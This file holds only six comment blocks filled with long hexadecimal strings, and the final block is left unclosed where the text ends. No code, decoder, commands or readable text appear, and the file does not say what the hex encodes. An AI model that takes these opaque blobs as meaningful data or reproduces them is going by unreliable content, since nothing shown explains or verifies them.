/*886309f97eff098d3209c6a7109c9660279ca489c1066475f9ecd5110100be0bb486ad8a3195ee03e8b18ae901d867479e0753be3adad3ec385288ae9aca05fc18fd673188196fdaae1329b5d3ff427ba171c3674687d8cc3232e081e4a43a8837809ae3b6152f2f4670b339ad9d41b3bbb730e4287ec324f72156df6adb210841f78aa3e5e8a8a7d8f9329a981d56b4f9decdbee18bb903f5da43e044d4fba351c97537daa127d081420d9d16f1f9de61935358627cb9fe525e9623561d5ae00974b526442dd50b48abb58e76b4c8dc331e581e49b3156ef8fe7b6ac8cc75282679df8328e15a34e8787a27049dc0cdb8c0f9a07868650a46645087b67cb7cf28cc54ca45c168edb731e411aab1e4717fe8194e72bb0eb2001c75b2ee8745ad2312064631efbd5dc245d2e2bb9883522719b46b6e0184f57daccc231fead74302bb3d91f3e98360d374f95dcea590b59061f8de4ddfd4450557999de6ab761ad3890f8733e651f048816b0b9490e81d434b1f1beac39e1af929235ed761c4ef196fcf9cf174b7f7069e62e2c46da65069a42f879e6f839a47596e8af598cd11d7b1730948852b3e96318520f9aec2a0a952b55082adf0106fa731f95c08c6b9a6e1c5b274d52ea19b3765095e8a6727ec9715753f4e79b309058c1b82903d38cad022427f63a41dfe11011b6695a6837e38a2eea3e56f8a2ec12edfc38322405a68d75b63748bd7a3ce527ab068c5eb8eec8fe6a677d148b33e2035b0ac7b43a1d58b56206a194242441be17d3f32b68855fdfbbcbc85914af2e6718250c78283a410fdb4f406127af517a1a13dafd42b7f174c04fa7ea0372a034e7573bb28b6a5c477a232935c8d0fa8415d0ed9e2997598db8a38d6b0e85affbe0f2a3f3dcbefd492337237dc410c5db3b907588f05da501c98c4f899eed5b713a6fad2535a9895ed1bf1f5f0f4acac9127b2fc73948f113330da17076aa65a0d755f092cd2547eb35bcbb2157f5d4ca1d106eeb407d8f81c8bea3ae3b85443c1a2547f7f9f7d2c48ff0b0d636421fbebbac8bd31bcc725d34e96f80b64d794691642adad56ac6e00bf7b9369e2697a5b51dc5ff83a69dcf08c653dcf6583bcdb7b21880cb353c265863627dc54e6278e6e20fb6d30aa04c580e07c5e6eaa89a2aa776a18677781728a9b1e157a41ab8464f35744ed3ca57a2c7387b089d23ac51e25536763c69b4da03809e60d1c933d0113a4bd44b6dfdec4bca9704fd50b955fd2ff82c9650f925b4e4d031814fcfc0ed35b7562aaf0266588f2f23fbe2d2b842f3ec0193e67f9d7d2b6da5b1b113d3f5c7cf969c56952304a5fe344211b78630f4e92813d1925bad84d001b2a0e760afef925341239bf0512a8580af9253ac6974bb5a5788b7b74f97352c5c2821c40e08ce594f6ecb410ee4f4220a516a2b8713e32abaa5b7d1aabb22b14e128cba72e6e4381e78cb3983773c3688b936a488a270352d9e63a0290cc089469effc4d5f634c0c6e22fafce3a32bf21ea174c0e2d6d813b91dd411bba3bbbce8546ab842bac2e776b0376fd42f307bd42cae9d4fc254110b8632a42c090e8576791dfe90bc6639c54577bff6ba4638c5d44c4293d698fd8b30adf9455a285649afd04cad81c4bae9efbe190e6884b5e80960a89bd8afe2d2a39760c7302331682116d7006d4203f340039424a84b267ebfee9600b42e83111ae613c46ac301062981f2c1398cfb4d2d67bac992c0d92dde2c4f7d229fcab5fe47372716f577ebfb6fa995398ed61cc3f93533576349129cfeacfa195d460e3a5e95fd75b4632cc353cb407c761994febe4cb2b0b9225ea6f70dbd1016c4ad513931866bcf23c8442b083cf31008b8fbd9d54e289850c7e64d8de58efeaa1bd7e7f71f958e55206b688d422620e1ed94f711f312b2fc2a4fba016c4cd94b6ede2614607e2a93f11f376b48946cd4517bdf528516175b5a62279ce0780d91f77351367f9803c045b97bae2992e8583d1ea7ab3467cc0b6e3d905c1874a00940c8bf6204e3fe3b60820ca419c31fd08b9d057badf42bd65056b2c209deb66422ffc339bddb9c4dce88528f4f6f0093a39e2cdb44d19eac5085b81b588d6e1240715598aa15cc34309000bdd91e2beaf66bd88850bdd93963beedf6b8d77cbb02cb5070e781f54bdb4025d7765c4e81dd23a326a49a072f31e7c033163dc86d732d057eef6b535e6dcc88838d1336e894ea2c143a96e755318f116ea6a50fdbd3d3c69e5c6606ff39ecce358c1015ea2d367c5cd6b78d04589c2af7a3ff5003c36f1247c1e75ba6c1fbb3c7c50aac140ac9223d5d0e9a58183d8d51e3a3122d93e24f573f03a6453b7daeaebf0b141ceacff17de9699d68bfbf9b75d1fb22fd355070989ff54e59b5614cc3e88b1217b1057b5dbbf3cb7b117ca868f739bb73bbc2d16d34767416464d27ec679e188dcaab181cca4a5ae31ff7737c647a16d31458d61502024887df4e46b79c4d1d5bd014ade9381c67851211c4a7b9353acdb7a9d32bc0e369dc0173937807c51e2c699b739312af3890db2eba35c9bd646d526215d2345a34088c84b1f83bc81351576c05e7a3db7aadbf488d919693f9c6ebceeed2cfb8118a4f294b08a8327d2b98d78f6003d4a41dd8dcecab44465ba3f690f02c7f0d87a84898c2ed9648ee4209da870f9052a342626adaa715009847d24da1c726fda263cf3396cdf43621c4027f9ed77d31e1af7a02b64d988af927cecabd8180c37de31f03eb1d6b7e1813a4a3a40ce02cd846cb5f8a6c95144835025c1ff327ae6d2aaf9dcedcda02c2*/
/*b912de6764be439a7dad68bd7f06a0fdb1b3550a192774d41a6ebda0113eb468f51e508f49d644e4cd98f5be02c463fd344778dd15970f80cb4f41b94a34f6056bdc900526f7a17b436ced273146532abb806a63a6d5be7c34a8b19bfa3c2baec7806e05d7913c101013ebf3c6345c86ed9c9b78ce96a6d6178808b281429032773a98f5be2753b0e4b592c8e5a498ac63dadc14dcc5e5203dfc3d3fb1bd041e19f4dd42075612683ab4441d62e7fc3e046a5247910ca4ce86daf5bd5607f0867c48c031a81b45c133b91b75f1234c1d8227af302e131551eae3085bb972b8a17b4eb75d1aef63023fea019d99d518aac478459a704b9ddb40071e01d8795dadb646d8539040946c5012fb00ba90cdd6bb2f3bad491828a98e59af0457e042ea2686db5c0f4b336678009dd487307f16e2a4d08ded8a96914fc869abe4c346d8bd9a66aff81550b2bf21b87bc01b05f2f76d66fc6883e7daf75a3e1fb7dcc84e322f8431ec3929ddcdbeeb0434a51b2fcd45cbe7e46286415a22461209673742dba73caee1d38a0f969b10b05c7ee5ffc6394796d300f117a0c7fe4e64903d8860b97a89637f4facec4b06f13f5a572cb2bdc9557d6a99f0499712423095e26f79982c879f3f6b6422938bda15154cbffda96b4c5e1c57a7be5556557d4d76f31870353ddd4d8c4e6a892f7f1bdcdf0e3791470239153a07f16f0e6c52e58f2bcc138ed7076ee4824c0e08bae37b04b419d5bdfd0c483019ac37f163b62d8041f0ece51c4c37786ac2837d0a37ee288e6706011fe9cbfd06d85b8dece0f1328ee6d99d312e695469bb846c07edeccc80f35dac02b9606fbb77abd43d786599eab159a0e99dfb501a58734ac72bb8c3e049095fb75e070c54ecb07909b55319fe032af6d45a137c792a166c00fcbe11a432c71807e1f0fd4a86e4bd03b17f8b722affcdb7e80532da3cfa07efa416ec434748ea680749ee9b771e97b3aa469ec88d1be6b89535b4d80aaebf806992b4aec47df06a81505d21fae2c925aa052d43cd26649c6a942bc7d90f61d9a10733f78b07bc2f8fe15be5350343b9baf3de220b8e20b74f04df63b8073f6ea3565e0bf734eadb03fcbdee151cfb92e87826d5fa92a3bba8ff88f6ad9419e466f05d136f91f8c7383b190c20acd0b37e51740d387fb6881a285962b30f787968fade5d8af0821055fbcd98619f90d4e6815e5b0977aa6851b215cf3c329635b218afd420683c37d1c845be3876efdd50ab7f68b0c72ff2e61c79d9a89a39a2266ea052a81164c5ec429b79688535dff0a7b54ea79c6375207a9a57ef78bfff22ac630001c431971f76689231366d860db7c1c55e5d31b9aa57251712efa144706d10bb805377f8fd548cf60f001cc830f1acecf2dffd80b18ec378338a5b73105b4fbce29750f4f88ecfc75d4a5632f4b71239e472dc837e8c19d23dacb0cd1358f93fa000909fdf9ef8c22634ad8e65cae6d49ae8608dc7fbf2559c8daf25e3d5f7fa6e111dff39d7e0bd2af38ab51ec5f08127764ec15fa7df1aabb2af43abdc35046b6852537459563079c4f2c23a0c8fbe9266e1e542dad27d5e21d2be9e4ea596b24392d56405cda6bd6792ab5fe389ced1486565ac26ce49daa34ac1da354a5319bf777fa1f673f8344adf1d45c8690784ab7649bc1c910e1bbd5a86c3c9a455e91bb17f55c1c0add3ee4a13ce4a94d531496a7c4f25227fbda459df21201b1e2ae10716de49700d383af19f204b01754f0365802362d914c8d43fcdfd513290e9af9ac6cb5dbeb3f2c01bdf50c179c02e8c1e6e9a9adf11059bc55860d2fd4d2f5efa71995c75abf3441f08e105d4865adfde9f7212c88f0742c920306c24e2c8c3809af4a7cce98eacd2733825664d09600487c076cadd4e36e7badbfcee6ee13d54cdaa1b6568586c8cabdc4babaf2f0f782f3027e52b93396e3195b1aaef3bb3de7030e754e901fda0a3aca753f84dcd2ead701a1923d55073906865a74dbb78c0f50eea9b0b44d725f11eb128b7df1318016f6198b4a54f05e94dfff928708f17a320af9b5dbfa2bfec919b860d7530b81cc2caee149b778707c284ebc44abb8bdba11fe991c285ade6408534d7f064bb0924b65ec5b2f34dee1c6038418eb4ba488d187ac49a525084ed6e3a7c3de3af633d3c8064aeaaa40250e0f6d139303c6e981da4c4f202567cf9d3528c62cac0b0df3f0c276aa6c0787099042e7c3996098168914f54571333e80dad610ff54da5510caa2d3eb83364dff603e391450ec5bbe78eb13af923683b05d06357d11abf4f28136249806093596216b01ab4c4f3abf3734a356a507c97424eb14ef4ef99e981c2bad87589f4a3a795cce473e48ddaeec68fdd4143d407d30e79a725dbf2e153b328846a3243a2a80e28f8c88e37040c19aff0ff84bda9bc66b2f593731f8bdfe99f587015b0909a5e16642da012f1bf079977aaf139e6971c827b4eedd3d39a60a9a4a811ab38c467e72f47c33dc19512f08fa9a310dc5dc00b398f17cfe547fc57dd95bd31c7f99ea65d7838ba6bb06895d0701e70cf9c49f269d3a8cca8eb1188f4d660baf24a05ccc401e12e8b84ac6f5d9de33fbd8f68cdb7e7e6f4d5bf09e5a6cc72f61485558a4c207ead5873789f45c40f1d3c392669fa4649f9c7803e07285d99b53972fb653ccc4d21784178b5eb8ee3ea8af951b8bccde375e79eaa9df5d625ae46bc8ef290a0f5fd89f523b68dbd7070769e360ca730845136a86ae9aad494921f144bd9535a87a9b5fa0f9989fbdac5e9cbe5a7ac0f8ffe819d00f0065cbcc022df014c*/
/*607922eff4c3bf66c70e94ad4d9a49446e9d53818b677fb214015257dbe2e3e44dd136ebaabbe2a8dca7a61c235ac3a4a1a452ed9b8dfac4dbc856bad00da18ac0ae6a326fba44b0cf047f3ae87c1fe5b9e555fcaab316b670472ca46280a932af7ba8bb416b65b9f9fc2aee8cc41c6e28483fd20b1127058a25f2d7b318a68832865afc3ee0004d73c264f4f334cf51295dc04f2430bce2756e70d7a30814be243179d5aba0cf076c8fc7cde752637569124df9c4d35fafb5b0867d2b4bc7dc3cfcc42f47be7d2112bc6c1377be3f78d9eeda94e77c19061f4874ce52fab7ae936bddf5ff904ec7c1e31bbd77cb1bb6b236e70494f45e1c1b6717a7b6662b1df692def2f23918b6323f3016bbfa1707164659c5b11bfabd8a21dc60695fe7df3f93ccf06c116a506e6d032d93b2ed7cbe8b662c1c205253986b7beeeaaa7ec6812c6fd10922f803d686bed634da1f6ee77c16c0d1d4ebbf9de9026b3acbe94ff941ed2918a2245172daf95dda7deb49d57318c99d0b19cb93b4d5cf9dbb3d37b51e75798dbe9951ea111590da717602076bc2e78539a6365da164a51e26de979d2bbac5302e62df70b253b39f746b20ce2158a9427bf2e76c50e1ff6ec59eacfc2cad6f1a0ac6beb2f89e2b8878082772d2980481c9e3322f6b6b34cd2d9d2e4dba117912d971016af4b3301f6f76536cac45ef4cbd3850ff663577e605bbc239080fa2ac8bc7e86d526b666294bc285bcd4f56c47d2f20a9364842b826e166376c77e0673038d31a8588f1c7ff80709ac3fa7ea07bd2301f05b024dd6ad818c4b921596746d82effdfd1e8f6d00b6a4419efc63b6f5122d5620fa8d07eb463de5e875876aeb8efd45453ea1c8848bfbc7b8b60be5739cde1a271ae93931a3504240fda1a0f5b594dea0e3efe211a0efd89894d23ec77deaf696563788454bdc8f17b325bbc1323c08e53b88ce9149209dfca1e023ab1365f83e79a3a1a98523880db924297873f0f13f7d639f291d9bbb16a23984567c2abf104633d4d1fd1426524eb6545a1095f281c61e81f7f2cd38f5aa555c1dd084913ffeff5c91bb2770e99936363326ed2220821175dbb84162356d4ddd12c41afd12434a369e0ed07badbdc6b1f8796d54310dfe9c33d002dfdad12c1a56c7900e41b82a349acc18332ed71a688965893d15f8580859b2058f283560bc14b95136ac3321a2a1f022a684c16823988ae54fa8ea92039de66e78bd99f01ad2aee4a90e5c457a612f233b14f292e3324966d650952389ca1a53f8da789069421e27f12772af3b2bff46f9922b425c15417b0467a5d9b1b7fe29a43d15e03bf1eec05caaca632b9c53862ef1a271223bbc3264495946b50779d04b92db7448353a0043df7b7d3292caf89aa50fdcc2bac497e3ba64f0d8a544f6f6ac355b1d1e2fad23f893bcca798a590850f274690c21230929b90161a64a4aea490eb81e65cabcce5938ee7a06468d976050ee24049d026bd6a3ef5847810cc5e2ff320d0e5bcd688446dd17d0ab84d65bc53ff35c120751e0371335cfefb2a8fc5ff2381601fd222ac444fb06b44dc7ad648ca01efbeef59e5a9afe4e45d798dad02a24111ef75a1244603674fb5b93c0e028864680dd7769754cb77d29aa0064208d985142713f7a9c9eca52eddaeed19500724fba7463d883f1c4f24bf8aa1d97c636addfa407e4394f697e83c5b5e6c32314768a8fb31626377cc5b323e363930879ff1c03ab740559587e6684dd016817192907e129a8fb5f9939312d7bcc835bc126a9abdb6262b03e4b4b989eba370910ca4ce47fecc61c01efb1b00278ddac57bf4022373fe40874db39dfb6fe529789b61a2d1df6e90b67ce19fe6cf1c941a0e8c1bd0877eb1fd6d5210f92fdae051a231d80f1d9ce43cb4942506feacf9e7c6e024198eb1318b6ed61587109cceae7861bef1b3e207d256744c9a0ebabf847cb4f5ddaa03004b19e2ee1f2cd0dd0c7a94320745959fc5380a772fa79b5312fecd4e9ba88ea4272198c1f63e5dbe3f65b83a85d34168c259efb44fbb4a55e11e0ba2a7e44bbbf08c26c9e3f6512fd32d098772dac845cde9a705e4aa3192ec46a97885e2f78d99b2dff91501af6e1d902fecf09a29d794eb7bdd9ada0b0e47dbf6d87f0006629090bcd18295b11f6d0b66055dadbb26b8a10616a2951140cc18183da4c23dac3234518aae5e47b8bd8585a37ffb923bb77324ef22cfb148b52a067e5679ff91a61d7c889f9a7bd1eafb2ea335dc88a4bdb86ab98075dfca8d14488435a13fe8ac7ab53e9a46f6111bf630c21669f4ab25b8e0a95759e694ff7cad7ce10f3b76203552aef01c42fe40293b14712a8207275ed87131efe0c5a1bb28e9b6e55f0b10864749a14692acb3ed8928517ad6531c7bc557a25c22bc2c42a62772a9bb9d97be3fa4efe1b5a4fa1072464f9ca48f2657a0aac81b7ff046ae9989bcc9c6527138468f74f2978914e4b8d964e415f537dec78440075b4712e8712e56a01f6bfb974608d35e0c876161340b3c9e5b2170e5d7603d31ec08798cd72a60fcf74454d4d660e103133eacad7de6d6c99b96baab9a47cde9d0ba3df66eee1e6274e3619b970de3fd85ca520e852f992fa20e1f8fced543ae9c73f4b506b089b2e265f88f60824f21c1be2a53acbf5a2f559086e390f37dd56c4f1a195db63bc44c7ffc64cacf543894fee3999b782351b79a60a47052261202ff25a618dcc5506590fdc730b31418d21bd559526ce9710fbba596e4b0367bc0c26c04f50408b595dfe7a03bf4a157ee7270803a01cf4bf3163edc0a65*/
/*6de631783e504e348154a57added45cf779bd8287d21a0028dc294cf4f8723ee57ac211cec35957f09508258ebe6795fc58d693f87766ad8080dcb891b7077b7273398d45599c78f0690e6b23c815ba41e0e4737d0b8769fa134798164264eaebb3e57caa6c52d81ae80b15d5baaedb390504c7d2b5d4cb96b7216694e3aabe1dbebd191f3aa03fcc9c426516afe345fe8779407356358434d049380482c7795eccaee783e4885617d35d949f81260bbd5835f5688ed7c9173e564ceeb007c3c2c17888a82337ded0be9f9c55b9d51d7537e309e9ab1a79c1b057a511233ff79e367fb3c8191ee23bd6bf5eb1b14f9bd99a4733ac6acb3df0444d92cab62c9dfa35766a94f1d10f981f29bdd5e21b2b2b878d62ef55d0ff67f1f0efcf9431332af58f9f43ada865b1464d7dc9bba2858e8377d6794e742755e17366e71e85cf65d9d748a27a676dcf7111d8fe7074a847fc3011c10459ed3bb6fe6023a93251c2b9d69d5b0d1be8f8e73bc347bf369877fee0c668d391aaf9c0fff99a9c7c30167ad26a122b3b5ae38857aa476bf988bf1630ad22cd2b682c337ad0317ab8ff5de65546af6f4d06963f2189132001d36fac598819bae315b3b5bb3a20c9896bbac04acfffeb375bb8bf43a19951d8356486665cc7af127a92b89b112e3c1a50f84d42e7302948c30eb3cd51a8d5aec0634155cc4349da53c292e6a72c272d46bcf10a9755de04148c3cb750d59a8b74087c33c1d799e84ad686b3742b19b514b65ca7e4a622cf556efbb91b02530081fc9ddcda4b1d7f9baa0c71ea3114d53ddffb8d28e8704e385c0c44938eea29baa929cc53ff8f87f65f7fff44130d3cfded39ae268fcb7778c33b4ed30cb19e408eef2cd90721a2b42cb391b47c90116e28bc2e9068534719d6a1375b03330eac886cae0254172e2a5dfb6d8a9285566ed23d3acef32ffd8ca92eaee148074ce4360d7968dbd758c36211a876b955073eb6f29f4682206c4af0f8e98fe53a9c9b65e425eaa020f3a28c5499df445241522f8e8e09369dff02053ed6f38f32d68b8abbeda915acbb5b3fd6a555d3977d616c7970691c62c6908dae1947f4a494ee83d47ef54dbb12bd353dca27474565bd8943a542f924c2ebb00111a7fc91581f103c0803f5b50ef9e81f06990ee414b46ed83fee43a72b8f964a8b198973669f27cbcfbbf5b23c4c62c869c91cc9c74a7ce791787dcc2a5f6b849ce8dd06e5f95fbc535b83caac4f78686e74a2ec1554a2b2f37955b6e97bd95adfb75ccb24220b4a88edc5d97486a20522678c69b0403f2bd68a27ce50513d1e49610c004ce4f33afa9d8320a38d1ba8934be2acd850fa1eaa042fd956bf138bedbfddc7a1919416a2c4d33aa7bdb8d2d54fbe6526b8ad8cecda677d476312c094dbcdffb3e83dcc7c1462ba325b3db82b5b8f9304cff5cfd8e450bd2ad39921130aa8a63711b33f3730d1d94d305d76db9fd2bf751a3073e1b020e526870e2a40970d06c9aa3f3c0c8b785c4c7fced0368cefb309f51157f81bf5eadda99fcd141742deaac7ada1aa641981b8b3f6573abc87ddd76dd467cb7024a58f5305bfb7ddd53616b002b48128ca62ff1667029ef68409970105fbe82369dae406fd70d2db4f3627c04284d6ab1e482476ae5ea7e601a63dfa6b963496dddbacb49810bb19ca59b7af6f8ac287c015083fcfaf65a8840f14a9c05aa925f518c9048fc0a63a3329f2f1d8aba10490a3756a69c6226d5300888cb4446dcc29b831b413728a89fe648c94083392de6b8e41b0ea19c85a7686be6df47fdc0dd4eb6d21ce5feb3d7c0559c117a9dde38b59910e7fe4626a456956412dfe34f7d8f762a708b134003d1fcd37caf6b98bb3c42f387b0648054dc676d0f9296b265c4bb81f2e66125367cb0210812cc1b82a159d0d1a4eba022633dfe12cded65cd36fd0d6aab9f7f2af0cb5de711de53502ecb14090722eaae1b78bf8bbb1293d8956c20abe21945d07f55287a73a743d6b07b153e0212b991c9b1210418305d795ea7bf2b8c449813f79138e168332956acda6f0dc4ebb0d79c030030b4d2f52a58f6d683f856d93cc76d1c3e9beda04c8e3b7fcb9eef01402c6a3ddc505043e73dec5a0834a2eafc18c6c53b4d26e510605e11cf67a9ab9d1f3332ba257bd8be3385b79eb0a553ae6b83b8491eb9420a2e122ef9ea9ff39f91eaeb9db050f720b5d72b004eaa1645159cda486911f7074761111a78da9d5092f9827552758969a45f7399a1f2f2324156f10ab8cb12bad0e72586bf5eb5ce0d81d7e52bdc0ec2e6bd5c9cf2d789714ea8d58de4d874f9f2289992f09207a5c346fe8040fca5d8b5f828478ed94708825f57272f42084fe1709706fe6a6028d77f4a27ed79ac339b92767828c238444059d75fdf5118ebef925f84380006ab7fa12008d8f2eff6304acf5f5a74524806f9ae4daa2797353dcf8f6f4cc3b446934a8766487ffe1e163a92674d3eb545fba3e23aa606559ff757e3fca20ccac9d3de2cda44fcc3065dfd1501aed25c30d0aa931f508937665394905f5a87e55971126da99305bd1353e7c80a5f83183e714b8d7d8050e7999c6d4f7bd1fd9f07f6a22d511e0faee7cdeed6ee9b1dd3d3aec65de80ed720411d1b9624939f64927733afc8620556cc5d41af6ecd1d07bd957044871d3fdeffb53d27e738bfb8cd2a213e97b709332173f25cf11bcb881d241b44f254eed524e778fa20c1d5447b5c6d18047c88a548f6533f2d661c0fd07307ce0dba3a0b5a6425c4ac9098dc653521640c035d5ad3376f772edf2bf35c9aca69d7*/
/*8f251e4cf17c7a31f5c6b7d6cc922f462d73604488690f9f1c58e79030af2b304cefd2c3ff7e9ce9794391629018322fdd5bdfa187075fbcbb34ffc36d578a41272fea946b763309febbbe60dbd88205f5cf3a0d0b1f087717c2f6fffc931c9e9c7f502cad38ad4123cf3e903d34cd5ec89ffcbb4413e06802bb0595de114d7df6a7659d5d1482c93d115759b99dad06d89dc5816b6ac5de7067d2a5d6c531a40fea6647e96853a1a7438eb96af285fb2f6609fe14c7fa5b2afd74f8a6f847538473b90cab9d153b67b8ad55956df0c89f1c45042fc2a837584aa0d6ac11eb2bf2be9e7dbe7c079218b489f5b9e678303962499b701a40cc5a5c54be557e8c6814f062c95f9607eb7137991cb1bd1d31b31544900fd8598fd74e9cfa67964fc02d23d0abf8ec7305f249874bae82439d46a0f73de435b590640f5818c40c182ec4d6bbfa0920f820cc31c37e004104eb2c57aa0f240e4d915da8c0dcf281d096a2eedf68059c922da67fbdbf09c8ce5c3b7beb2948838c113ae02f7089658c92b418e23c0eaa2802f7231bc8125b139e0378888a34a1b745d48c6ab41ba200edac79f60edd1a1d6ffca1c3325e64af656283c11d892673213ea5a145343e2c7ce0cc77a375ac18a2bdbf76d0f42d592576220454034157264670224628829c2fbc31a0e7a05241124aeedda39365977417299c9c4b4d2069288d969ff231b55f1f8b7e3a450bac12d5d9947653a6f95e34a2c08be60a0a80ace24d93220130e617bfb131d644abddc4a2bd5d6f7aaf3de24c603ed13e00d4882fb5017af9f1e95cce6e411abc0c6afee8630dea26f7b5caa57334b2091d6803142b2761b71f98baee04e17f4ce0c56a0b1835fde2af22411ca4385022c799a7413c551b1b6027b22405d71e902765e697e21d4de47438e9534892c8073a950657f4d5982d389788ba8af584fb209e77182531f436920269a6891ce9ead52d10aa7b00162737ccafab52a00392365c53bc1b8582ce96d80aceb7095f820b77cf5309f9e6007a421155cee7c2f09364c7c58326bfdbf6727938f095942610dea87061ff5c53921b84ff1b3c310762b69b992a6a59ec84f547c0f0f390f3dcd494ed3488efb2fae14853eba77d6ba29f1ab602a58b9bb54c8ea9b9d3dfc7b61d1051babe5d55ecb2bf6b4ff430830cb92daaab35e1d983cad23b2cf800f44e6e9d8d906af247d9832d3c3b7b3683c234a17e7a245763d6e79c95eb207375d53b153e556b30c155993ceadae7d1cfee2cebda26b400831017ab13bebfad367219febae92d3815294fbd2d1ea8b75740e4a484e284b579b9451607147213ac976c977131b13903c9b590b3c665ba03bbca33deaa5cf72f47a7ad9cbec5a1588e43e069e45dba19aa883a7d57d8bf4e0da7737f4d87a2637d3501b311a65ae5bc7891eb16a1f0526067b916e2e1125da43b84ab29bb641a2472094cef3a7bc25f233b325df1ffa5b596a684ad728f68aed60b326cd982cc53c83b68df06296549d664322c5fd42983cb37c472ad258262e8fca70f5b3521be0e61fe25d67e6a1e07189fe59724179cb0d37aec8a7d417cd934fa1a15e0f29a8ee73950faf902a4268d8501a5960000ad920bc8dc641352c8acd36428cc252881be7f7a48298a9199849df8fda9402555aa304d33b7fc1ccd90210c02b395207892a323bdb8fd4ff34aaaae0700e89462e410ccc9661218758a672c190506049a5ad15bdbc47e34e60862af047a16db5e03fac965ff654034fc1ef581577063e9c40cbc370db54aea3955361ad43f2234224fd50a73ff18ab57613acf02ef557f05f54e6d4eadf3faac8a1240f2558053e2c06f2bd6c76415b38b44fc5eaaafba3a0cc6c4749234ac617ffba07e9009d8555b617cee785fc598b2c994ab711a0c3c5892f9aba7939a8e77acb30610f812c25fefda8131253f2720f0e86a1ee9370244e3ec8b703b31366bb0da449072729084d79f7f6db2b3b909d41b6c5184bba69c992eb6bf3befea43a824de944eee70304c7858e5d90aeedfc5e740fb60d57b612447d78a3b62c6fe6b398c5726f2e96ced0a870c6a294dcd3f4ae3833678342860b28a0b7d1fb1da39dbdce08ee39c7b169e995129963e0f848ccf4159b831479259a06547994ec068fe88a35565e16c3a0ede2f204d77020acc50b934ba9f27b086d56f198cb87bbbf2109cea5e96df110d9dd1933c1e3ae63e4406f4442e09c4135bf9dcd9f5e0ae47ab0081a1c526ef234976093d304b456bd44a5dabc62c3ee14f22bf3f0ba86587c7d53a48af1005305344960d5c6f597e884aa239c32ca0d0211b1a27e358689988bf075951aa0aebf9754beba57f12b0207d3928097c26fa9e5e736adea3cc6d0a87aab909e8334292134124cdbcfd57b408fab5c0c9ba932251cb0f5a3a01a08e8a6cfde5f00c282a6aba4a4d3c5fc37e564fb7d9e89ca0d873afefd3fad7f591fda9adacbeae1d097639f1c8bf9036e5dfb211ae7f0535b43a6e8863b625d2441ce75f56f3b079d88973b9591a1a70dfd01b88be71712a19f059e9e10c2dfa9fa51fdb9ab5d5d1ebdb261ad0108bd4e8b3b5f254a347c9ac2bbef80cfa892b2efe60d2c7bd54edd41a3e8b438ebf6cf5e763e8284bba333929696527ebd6d263db1fd06e5449a5aecef5f1df3fb1841da18afee7d89199ad06f767ebf6d5e1ef01ef542dcdfe3f7d4b2cb2720d53955631fae9d833d76fa1300efcd46fd219c0ef098a906eb32f87e947c364d6d4b825b2f2c6bb755f2fd6d6fefa7d2c065bc3435353264c8b0632d4997d67978c0213a05a01*/
/*1d512f0a69eaea4709a13e6ef75ce4f6be8bf030bb3334d19e9e64c814b6e996a06d9fbe287c27001e44b657a9c470c32604ba993e61a2dda570b0f0f0952337608dc4d158d4e77da297d6c8cb9967e413c7c0e6771f5181f6234599749a2d701c483a028c4d97ba131a84158237d142c84f97ea09af4df4d9e2c9be95c548c5ba0a209fa12aa330fe2f61975127b987a61bcd6f2fefa430d95b92fbefe5b8edf6a161816e2a9b738de2c90bad25ee21ba3046733f6fefe941653bae7f6356a106c0fdf161facc177a4972de9f5e301d76a0913aa34319eb1da4267e7212cead93b88b10bf81ac0e46c92cea456a592ea3621ab03771fefd2f3f20bb3184a7801dc74c00d866caa655b37b668671187ef530d2efcd73fab33c61a49caa11c52e5f5b3b71a8211acfebe2e162ac13f4e2607a3918a09b6cf496cd954d382d79dba7922a9f8455942a83eca38c6c07a8d525da4745a2d023ae72a6ba8fa76a9abc3228d5130ff56cb9d906eeb003e5698a5c092148717c153e5622c5acd77275af04dfb0d7d98de78f42c9bf09b5db50852d32b304105321c0ea638daa4d20fbbb9273f67935a650447fa01732c7bf1f8ab464277f390bd9cb7a608dc2da636b74c51f5a1e4d48d4b648e3556d9facbbaa4db7516978b111881148054a056cb6bb60c830460018e6d8f6ce67464de041dfe73d117a70b8356726b189260301b1cb53a8ac9900f57cd6257c15ee02b970498f05df540fb031ce8b267d19d251cac77e0ea1d0fcbc748c0b8abf9229621f67f21132feafe998871d6723664aa4b9973a77b359192c1202fe08b35377a8081930e1063d3b1251730200730c80bb8238ff33693f849689feffc7e668fe1b62db5f83f740812be9a998dd2267ef0d3ff4605450aef4478f3ee5ab522560f0aeddeb877f2d2f3ae3d31175c026b1638945a3846874ff4048b9a740da6f4351d59a1040a6bc8b7a8e84287944dde0823d072ed1ccebd7773719648745be3568f216e86edef8ffb43cc8974132fd0042298fae00fa323fa539c1a0eab85e692fa6631c1c53b1295f784fff7deb062ccb8ba2a592d00172a8a75efc82f4c2d641aa61d225e994ce4ee6bca904de650422a87b5b6441f1fe84821318e0fc0e57d11331fbeacb913b79c9cbd46aca7e291b58a362b87cc9f7b75320e7a53768939c6fa67b51f69118fb927d3d7d503e8eacbf8207939627fadb59d0d41d28cc9489dd87d49178a2742e213e4213347cfe754622e2039d6881b9a8b9602c8164570020b0f4a56107deca5bd453fa8f54fe6e15702dac9877f6f3f9414efb334b25e90b71cf5f478f887f9b80adcd23a0b7f0c0a3b807f79667fec3a0d3cbd8b21472065774784b81cacfdb06e84080894b2fb43fed377fafd465c8aeb0516e9944b0e969c2de337ef63ac97590496bc6075bbd71bb254cc605489d93424d9c54c22426838b49f71408d78479caa2c79acbb420759ebd6d1df222262942f19618644575c89b2befd2e9070d6be1d4164e9f24962c0e83e692fc00ba9d40148b5fa7a91686b4cd69027c7055316e6e0f307c2fe21891e736032b1cb8cc145e2554f91d2db340f7ff814dd5b87c82ffa72f01c934aebf5c0a7eb407ebaa8849b7feddf7dc823e83430911a9335f8a9652049c6bb87154dcaf7c33ae1e7fcd5e75cf03f9fd7b28cb6e1c1095d5bcd94a80b11d75fdf573d1d2e7dfdca91d21610805807a845703fbbbbdeacd417db7c0180e015435532fad811a901799c88a09d741966057142a2b29e63d03c34db1b1ad0bc5b73dbbd23bce32e9e80170b6ed447c5ecdcd70e69ff388dc78d29a620609d14b016a37d3890015fbcbb6cd148c5939a4aa1d4866d056311392aca8ff3218b2931ad409423dfc30749ba23b84f74f1af33ed8cd2117f65ff93eaca43e6c3e55510e6c127b4e02aa663cc4d68e83f4e61bb65b72cfcfb3acfc68bdab9463acb20ec0fdc7130b2c5538bb1df3a9cdea1c3f0dab85ceb12b2c6d5973f028282f50a5010386b9dd7b4eef4fc64ce49ffc0ef2fc5aef7bf572655913c42aa441cae47a83be79efde2e6f77dc24bca681779e10f3fd0fac6537ed28de4510f9b0e1f066e0c326c70bdeaa907e745c78bd8e0ececa66557d13